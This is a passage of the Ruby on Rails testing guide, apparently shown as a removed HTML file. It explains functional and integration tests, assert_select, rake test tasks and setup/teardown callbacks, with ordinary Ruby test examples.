-<h3 id="_what_to_include_in_your_functional_tests">4.1. What to include in your Functional Tests</h3>
-<div class="paragraph"><p>You should test for things such as:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-was the web request successful?
-</p>
-</li>
-<li>
-<p>
-was the user redirected to the right page?
-</p>
-</li>
-<li>
-<p>
-was the user successfully authenticated?
-</p>
-</li>
-<li>
-<p>
-was the correct object stored in the response template?
-</p>
-</li>
-<li>
-<p>
-was the appropriate message displayed to the user in the view
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>Now that we have used Rails scaffold generator for our <tt>Post</tt> resource, it has already created the controller code and functional tests. You can take look at the file <tt>posts_controller_test.rb</tt> in the <tt>test/functional</tt> directory.</p></div>
-<div class="paragraph"><p>Let me take you through one such test, <tt>test_should_get_index</tt> from the file <tt>posts_controller_test.rb</tt>.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_get_index
- get <span style="color: #990000">:</span>index
- assert_response <span style="color: #990000">:</span>success
- assert_not_nil assigns<span style="color: #990000">(:</span>posts<span style="color: #990000">)</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>In the <tt>test_should_get_index</tt> test, Rails simulates a request on the action called index, making sure the request was successful and also ensuring that it assigns a valid <tt>posts</tt> instance variable.</p></div>
-<div class="paragraph"><p>The <tt>get</tt> method kicks off the web request and populates the results into the response. It accepts 4 arguments:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-The action of the controller you are requesting. This can be in the form of a string or a symbol.
-</p>
-</li>
-<li>
-<p>
-An optional hash of request parameters to pass into the action (eg. query string parameters or post variables).
-</p>
-</li>
-<li>
-<p>
-An optional hash of session variables to pass along with the request.
-</p>
-</li>
-<li>
-<p>
-An optional hash of flash values.
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>Example: Calling the <tt>:show</tt> action, passing an <tt>id</tt> of 12 as the <tt>params</tt> and setting a <tt>user_id</tt> of 5 in the session:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>get<span style="color: #990000">(:</span>show<span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">'id'</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"12"</span><span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">'user_id'</span> <span style="color: #990000">=&gt;</span> <span style="color: #993399">5</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span></tt></pre></div></div>
-<div class="paragraph"><p>Another example: Calling the <tt>:view</tt> action, passing an <tt>id</tt> of 12 as the <tt>params</tt>, this time with no session, but with a flash message.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>get<span style="color: #990000">(:</span>view<span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">'id'</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'12'</span><span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">'message'</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'booya!'</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span></tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">If you try running <tt>test_should_create_post</tt> test from <tt>posts_controller_test.rb</tt> it will fail on account of the newly added model level validation and rightly so.</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>Let us modify <tt>test_should_create_post</tt> test in <tt>posts_controller_test.rb</tt> so that all our test pass:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_create_post
- assert_difference<span style="color: #990000">(</span><span style="color: #FF0000">'Post.count'</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
- post <span style="color: #990000">:</span>create<span style="color: #990000">,</span> <span style="color: #990000">:</span>post <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>title <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'Some title'</span><span style="color: #FF0000">}</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- assert_redirected_to post_path<span style="color: #990000">(</span>assigns<span style="color: #990000">(:</span>post<span style="color: #990000">))</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Now you can try running all the tests and they should pass.</p></div>
-<h3 id="_available_request_types_for_functional_tests">4.2. Available Request Types for Functional Tests</h3>
-<div class="paragraph"><p>If you&#8217;re familiar with the HTTP protocol, you&#8217;ll know that <tt>get</tt> is a type of request. There are 5 request types supported in Rails functional tests:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>get</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>post</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>put</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>head</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>delete</tt>
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>All of request types are methods that you can use, however, you&#8217;ll probably end up using the first two more often than the others.</p></div>
-<h3 id="_the_4_hashes_of_the_apocalypse">4.3. The 4 Hashes of the Apocalypse</h3>
-<div class="paragraph"><p>After a request has been made by using one of the 5 methods (<tt>get</tt>, <tt>post</tt>, etc.) and processed, you will have 4 Hash objects ready for use:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>assigns</tt> - Any objects that are stored as instance variables in actions for use in views.
-</p>
-</li>
-<li>
-<p>
-<tt>cookies</tt> - Any cookies that are set.
-</p>
-</li>
-<li>
-<p>
-<tt>flash</tt> - Any objects living in the flash.
-</p>
-</li>
-<li>
-<p>
-<tt>session</tt> - Any object living in session variables.
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>As is the case with normal Hash objects, you can access the values by referencing the keys by string. You can also reference them by symbol name, except for <tt>assigns</tt>. For example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt> flash<span style="color: #990000">[</span><span style="color: #FF0000">"gordon"</span><span style="color: #990000">]</span> flash<span style="color: #990000">[:</span>gordon<span style="color: #990000">]</span>
- session<span style="color: #990000">[</span><span style="color: #FF0000">"shmession"</span><span style="color: #990000">]</span> session<span style="color: #990000">[:</span>shmession<span style="color: #990000">]</span>
- cookies<span style="color: #990000">[</span><span style="color: #FF0000">"are_good_for_u"</span><span style="color: #990000">]</span> cookies<span style="color: #990000">[:</span>are_good_for_u<span style="color: #990000">]</span>
-
-<span style="font-style: italic"><span style="color: #9A1900"># Because you can't use assigns[:something] for historical reasons:</span></span>
- assigns<span style="color: #990000">[</span><span style="color: #FF0000">"something"</span><span style="color: #990000">]</span> assigns<span style="color: #990000">(:</span>something<span style="color: #990000">)</span></tt></pre></div></div>
-<h3 id="_instance_variables_available">4.4. Instance Variables Available</h3>
-<div class="paragraph"><p>You also have access to three instance variables in your functional tests:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>@controller</tt> - The controller processing the request
-</p>
-</li>
-<li>
-<p>
-<tt>@request</tt> - The request
-</p>
-</li>
-<li>
-<p>
-<tt>@response</tt> - The response
-</p>
-</li>
-</ul></div>
-<h3 id="_a_fuller_functional_test_example">4.5. A Fuller Functional Test Example</h3>
-<div class="paragraph"><p>Here&#8217;s another example that uses <tt>flash</tt>, <tt>assert_redirected_to</tt>, and <tt>assert_difference</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_create_post
- assert_difference<span style="color: #990000">(</span><span style="color: #FF0000">'Post.count'</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
- post <span style="color: #990000">:</span>create<span style="color: #990000">,</span> <span style="color: #990000">:</span>post <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>title <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'Hi'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>body <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'This is my first post.'</span><span style="color: #FF0000">}</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- assert_redirected_to post_path<span style="color: #990000">(</span>assigns<span style="color: #990000">(:</span>post<span style="color: #990000">))</span>
- assert_equal <span style="color: #FF0000">'Post was successfully created.'</span><span style="color: #990000">,</span> flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h3 id="_testing_views">4.6. Testing Views</h3>
-<div class="paragraph"><p>Testing the response to your request by asserting the presence of key HTML elements and their content is a useful way to test the views of your application. The <tt>assert_select</tt> assertion allows you to do this by using a simple yet powerful syntax.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">You may find references to <tt>assert_tag</tt> in other documentation, but this is now deprecated in favor of <tt>assert_select</tt>.</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>There are two forms of <tt>assert_select</tt>:</p></div>
-<div class="paragraph"><p><tt>assert_select(selector, [equality], [message])`</tt> ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String), an expression with substitution values, or an <tt>HTML::Selector</tt> object.</p></div>
-<div class="paragraph"><p><tt>assert_select(element, selector, [equality], [message])</tt> ensures that the equality condition is met on all the selected elements through the selector starting from the <em>element</em> (instance of <tt>HTML::Node</tt>) and its descendants.</p></div>
-<div class="paragraph"><p>For example, you could verify the contents on the title element in your response with:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>assert_select <span style="color: #FF0000">'title'</span><span style="color: #990000">,</span> <span style="color: #FF0000">"Welcome to Rails Testing Guide"</span></tt></pre></div></div>
-<div class="paragraph"><p>You can also use nested <tt>assert_select</tt> blocks. In this case the inner <tt>assert_select</tt> runs the assertion on the complete collection of elements selected by the outer <tt>assert_select</tt> block:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>assert_select <span style="color: #FF0000">'ul.navigation'</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
- assert_select <span style="color: #FF0000">'li.menu_item'</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Alternatively the collection of elements selected by the outer <tt>assert_select</tt> may be iterated through so that <tt>assert_select</tt> may be called separately for each element. Suppose for example that the response contains two ordered lists, each with four list elements then the following tests will both pass.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>assert_select <span style="color: #FF0000">"ol"</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>elements<span style="color: #990000">|</span>
- elements<span style="color: #990000">.</span>each <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>element<span style="color: #990000">|</span>
- assert_select element<span style="color: #990000">,</span> <span style="color: #FF0000">"li"</span><span style="color: #990000">,</span> <span style="color: #993399">4</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-assert_select <span style="color: #FF0000">"ol"</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
- assert_select <span style="color: #FF0000">"li"</span><span style="color: #990000">,</span> <span style="color: #993399">8</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The <tt>assert_select</tt> assertion is quite powerful. For more advanced usage, refer to its <a href="http://api.rubyonrails.com/classes/ActionController/Assertions/SelectorAssertions.html">documentation</a>.</p></div>
-<h4 id="_additional_view_based_assertions">4.6.1. Additional View-based Assertions</h4>
-<div class="paragraph"><p>There are more assertions that are primarily used in testing views:</p></div>
-<div class="tableblock">
-<table rules="all"
-width="100%"
-frame="border"
-cellspacing="0" cellpadding="4">
-<col width="50%" />
-<col width="50%" />
-<thead valign="top">
-<tr>
-<th align="left">Assertion </th>
-<th align="left">Purpose</th>
-</tr>
-</thead>
-<tbody valign="top">
-<tr>
-<td align="left"><p class="table"><tt>assert_select_email</tt></p></td>
-<td align="left"><p class="table">Allows you to make assertions on the body of an e-mail.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>assert_select_rjs</tt></p></td>
-<td align="left"><p class="table">Allows you to make assertions on RJS response. <tt>assert_select_rjs</tt> has variants which allow you to narrow down on the updated element or even a particular operation on an element.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>assert_select_encoded</tt></p></td>
-<td align="left"><p class="table">Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>css_select(selector)</tt> or <tt>css_select(element, selector)</tt></p></td>
-<td align="left"><p class="table">Returns an array of all the elements selected by the <em>selector</em>. In the second variant it first matches the base <em>element</em> and tries to match the <em>selector</em> expression on any of its children. If there are no matches both variants return an empty array.</p></td>
-</tr>
-</tbody>
-</table>
-</div>
-<div class="paragraph"><p>Here&#8217;s an example of using <tt>assert_select_email</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>assert_select_email <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
- assert_select <span style="color: #FF0000">'small'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'Please click the "Unsubscribe" link if you want to opt-out.'</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-</div>
-<h2 id="_integration_testing">5. Integration Testing</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Integration tests are used to test the interaction among any number of controllers. They are generally used to test important work flows within your application.</p></div>
-<div class="paragraph"><p>Unlike Unit and Functional tests, integration tests have to be explicitly created under the <em>test/integration</em> folder within your application. Rails provides a generator to create an integration test skeleton for you.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ script/generate integration_test user_flows
- exists test/integration<span style="color: #990000">/</span>
- create test/integration/user_flows_test<span style="color: #990000">.</span>rb</tt></pre></div></div>
-<div class="paragraph"><p>Here&#8217;s what a freshly-generated integration test looks like:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> UserFlowsTest <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>IntegrationTest
- <span style="font-style: italic"><span style="color: #9A1900"># fixtures :your, :models</span></span>
-
- <span style="font-style: italic"><span style="color: #9A1900"># Replace this with your real tests.</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_truth
- assert <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Integration tests inherit from <tt>ActionController::IntegrationTest</tt>. This makes available some additional helpers to use in your integration tests. Also you need to explicitly include the fixtures to be made available to the test.</p></div>
-<h3 id="_helpers_available_for_integration_tests">5.1. Helpers Available for Integration tests</h3>
-<div class="paragraph"><p>In addition to the standard testing helpers, there are some additional helpers available to integration tests:</p></div>
-<div class="tableblock">
-<table rules="all"
-width="100%"
-frame="border"
-cellspacing="0" cellpadding="4">
-<col width="50%" />
-<col width="50%" />
-<thead valign="top">
-<tr>
-<th align="left">Helper </th>
-<th align="left">Purpose</th>
-</tr>
-</thead>
-<tbody valign="top">
-<tr>
-<td align="left"><p class="table"><tt>https?</tt></p></td>
-<td align="left"><p class="table">Returns <tt>true</tt> if the session is mimicking a secure HTTPS request.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>https!</tt></p></td>
-<td align="left"><p class="table">Allows you to mimic a secure HTTPS request.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>host!</tt></p></td>
-<td align="left"><p class="table">Allows you to set the host name to use in the next request.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>redirect?</tt></p></td>
-<td align="left"><p class="table">Returns <tt>true</tt> if the last request was a redirect.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>follow_redirect!</tt></p></td>
-<td align="left"><p class="table">Follows a single redirect response.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>request_via_redirect(http_method, path, [parameters], [headers])</tt></p></td>
-<td align="left"><p class="table">Allows you to make an HTTP request and follow any subsequent redirects.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>post_via_redirect(path, [parameters], [headers])</tt></p></td>
-<td align="left"><p class="table">Allows you to make an HTTP POST request and follow any subsequent redirects.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>get_via_redirect(path, [parameters], [headers])</tt></p></td>
-<td align="left"><p class="table">Allows you to make an HTTP GET request and follow any subsequent redirects.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>put_via_redirect(path, [parameters], [headers])</tt></p></td>
-<td align="left"><p class="table">Allows you to make an HTTP PUT request and follow any subsequent redirects.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>delete_via_redirect(path, [parameters], [headers])</tt></p></td>
-<td align="left"><p class="table">Allows you to make an HTTP DELETE request and follow any subsequent redirects.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>open_session</tt></p></td>
-<td align="left"><p class="table">Opens a new session instance.</p></td>
-</tr>
-</tbody>
-</table>
-</div>
-<h3 id="_integration_testing_examples">5.2. Integration Testing Examples</h3>
-<div class="paragraph"><p>A simple integration test that exercises multiple controllers:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> UserFlowsTest <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>IntegrationTest
- fixtures <span style="color: #990000">:</span>users
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_login_and_browse_site
- <span style="font-style: italic"><span style="color: #9A1900"># login via https</span></span>
- https!
- get <span style="color: #FF0000">"/login"</span>
- assert_response <span style="color: #990000">:</span>success
-
- post_via_redirect <span style="color: #FF0000">"/login"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>username <span style="color: #990000">=&gt;</span> users<span style="color: #990000">(:</span>avs<span style="color: #990000">).</span>username<span style="color: #990000">,</span> <span style="color: #990000">:</span>password <span style="color: #990000">=&gt;</span> users<span style="color: #990000">(:</span>avs<span style="color: #990000">).</span>password
- assert_equal <span style="color: #FF0000">'/welcome'</span><span style="color: #990000">,</span> path
- assert_equal <span style="color: #FF0000">'Welcome avs!'</span><span style="color: #990000">,</span> flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span>
-
- https!<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">false</span></span><span style="color: #990000">)</span>
- get <span style="color: #FF0000">"/posts/all"</span>
- assert_response <span style="color: #990000">:</span>success
- assert assigns<span style="color: #990000">(:</span>products<span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>As you can see the integration test involves multiple controllers and exercises the entire stack from database to dispatcher. In addition you can have multiple session instances open simultaneously in a test and extend those instances with assertion methods to create a very powerful testing DSL (domain-specific language) just for your application.</p></div>
-<div class="paragraph"><p>Here&#8217;s an example of multiple sessions and custom DSL in an integration test</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> UserFlowsTest <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>IntegrationTest
- fixtures <span style="color: #990000">:</span>users
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_login_and_browse_site
-
- <span style="font-style: italic"><span style="color: #9A1900"># User avs logs in</span></span>
- avs <span style="color: #990000">=</span> login<span style="color: #990000">(:</span>avs<span style="color: #990000">)</span>
- <span style="font-style: italic"><span style="color: #9A1900"># User guest logs in</span></span>
- guest <span style="color: #990000">=</span> login<span style="color: #990000">(:</span>guest<span style="color: #990000">)</span>
-
- <span style="font-style: italic"><span style="color: #9A1900"># Both are now available in different sessions</span></span>
- assert_equal <span style="color: #FF0000">'Welcome avs!'</span><span style="color: #990000">,</span> avs<span style="color: #990000">.</span>flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span>
- assert_equal <span style="color: #FF0000">'Welcome guest!'</span><span style="color: #990000">,</span> guest<span style="color: #990000">.</span>flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span>
-
- <span style="font-style: italic"><span style="color: #9A1900"># User avs can browse site</span></span>
- avs<span style="color: #990000">.</span>browses_site
- <span style="font-style: italic"><span style="color: #9A1900"># User guest can browse site aswell</span></span>
- guest<span style="color: #990000">.</span>browses_site
-
- <span style="font-style: italic"><span style="color: #9A1900"># Continue with other assertions</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- private
-
- <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> CustomDsl
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> browses_site
- get <span style="color: #FF0000">"/products/all"</span>
- assert_response <span style="color: #990000">:</span>success
- assert assigns<span style="color: #990000">(:</span>products<span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> login<span style="color: #990000">(</span>user<span style="color: #990000">)</span>
- open_session <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>sess<span style="color: #990000">|</span>
- sess<span style="color: #990000">.</span>extend<span style="color: #990000">(</span>CustomDsl<span style="color: #990000">)</span>
- u <span style="color: #990000">=</span> users<span style="color: #990000">(</span>user<span style="color: #990000">)</span>
- sess<span style="color: #990000">.</span>https!
- sess<span style="color: #990000">.</span>post <span style="color: #FF0000">"/login"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>username <span style="color: #990000">=&gt;</span> u<span style="color: #990000">.</span>username<span style="color: #990000">,</span> <span style="color: #990000">:</span>password <span style="color: #990000">=&gt;</span> u<span style="color: #990000">.</span>password
- assert_equal <span style="color: #FF0000">'/welcome'</span><span style="color: #990000">,</span> path
- sess<span style="color: #990000">.</span>https!<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">false</span></span><span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-</div>
-<h2 id="_rake_tasks_for_running_your_tests">6. Rake Tasks for Running your Tests</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>You don&#8217;t need to set up and run your tests by hand on a test-by-test basis. Rails comes with a number of rake tasks to help in testing. The table below lists all rake tasks that come along in the default Rakefile when you initiate a Rail project.</p></div>
-<div class="tableblock">
-<table rules="all"
-width="100%"
-frame="border"
-cellspacing="0" cellpadding="4">
-<col width="50%" />
-<col width="50%" />
-<thead valign="top">
-<tr>
-<th align="left">Tasks </th>
-<th align="left">Description</th>
-</tr>
-</thead>
-<tbody valign="top">
-<tr>
-<td align="left"><p class="table"><tt>rake test</tt></p></td>
-<td align="left"><p class="table">Runs all unit, functional and integration tests. You can also simply run <tt>rake</tt> as the <em>test</em> target is the default.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>rake test:units</tt></p></td>
-<td align="left"><p class="table">Runs all the unit tests from <tt>test/unit</tt></p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>rake test:functionals</tt></p></td>
-<td align="left"><p class="table">Runs all the functional tests from <tt>test/functional</tt></p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>rake test:integration</tt></p></td>
-<td align="left"><p class="table">Runs all the integration tests from <tt>test/integration</tt></p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>rake test:recent</tt></p></td>
-<td align="left"><p class="table">Tests recent changes</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>rake test:uncommitted</tt></p></td>
-<td align="left"><p class="table">Runs all the tests which are uncommitted. Only supports Subversion</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>rake test:plugins</tt></p></td>
-<td align="left"><p class="table">Run all the plugin tests from <tt>vendor/plugins/<strong>/</strong>*/test</tt> (or specify with <tt>PLUGIN=<em>name</em></tt>)</p></td>
-</tr>
-</tbody>
-</table>
-</div>
-</div>
-<h2 id="_brief_note_about_test_unit">7. Brief Note About Test::Unit</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Ruby ships with a boat load of libraries. One little gem of a library is <tt>Test::Unit</tt>, a framework for unit testing in Ruby. All the basic assertions discussed above are actually defined in <tt>Test::Unit::Assertions</tt>. The class <tt>ActiveSupport::TestCase</tt> which we have been using in our unit and functional tests extends <tt>Test::Unit::TestCase</tt> that it is how we can use all the basic assertions in our tests.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">For more information on <tt>Test::Unit</tt>, refer to <a href="http://ruby-doc.org/stdlib/libdoc/test/unit/rdoc/">test/unit Documentation</a></td>
-</tr></table>
-</div>
-</div>
-<h2 id="_setup_and_teardown">8. Setup and Teardown</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>If you would like to run a block of code before the start of each test and another block of code after the end of each test you have two special callbacks for your rescue. Let&#8217;s take note of this by looking at an example for our functional test in <tt>Posts</tt> controller:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PostsControllerTest <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>TestCase
-
- <span style="font-style: italic"><span style="color: #9A1900"># called before every single test</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> setup
- <span style="color: #009900">@post</span> <span style="color: #990000">=</span> posts<span style="color: #990000">(:</span>one<span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-style: italic"><span style="color: #9A1900"># called after every single test</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> teardown
- <span style="font-style: italic"><span style="color: #9A1900"># as we are re-initializing @post before every test</span></span>
- <span style="font-style: italic"><span style="color: #9A1900"># setting it to nil here is not essential but I hope</span></span>
- <span style="font-style: italic"><span style="color: #9A1900"># you understand how you can use the teardown method</span></span>
- <span style="color: #009900">@post</span> <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">nil</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_show_post
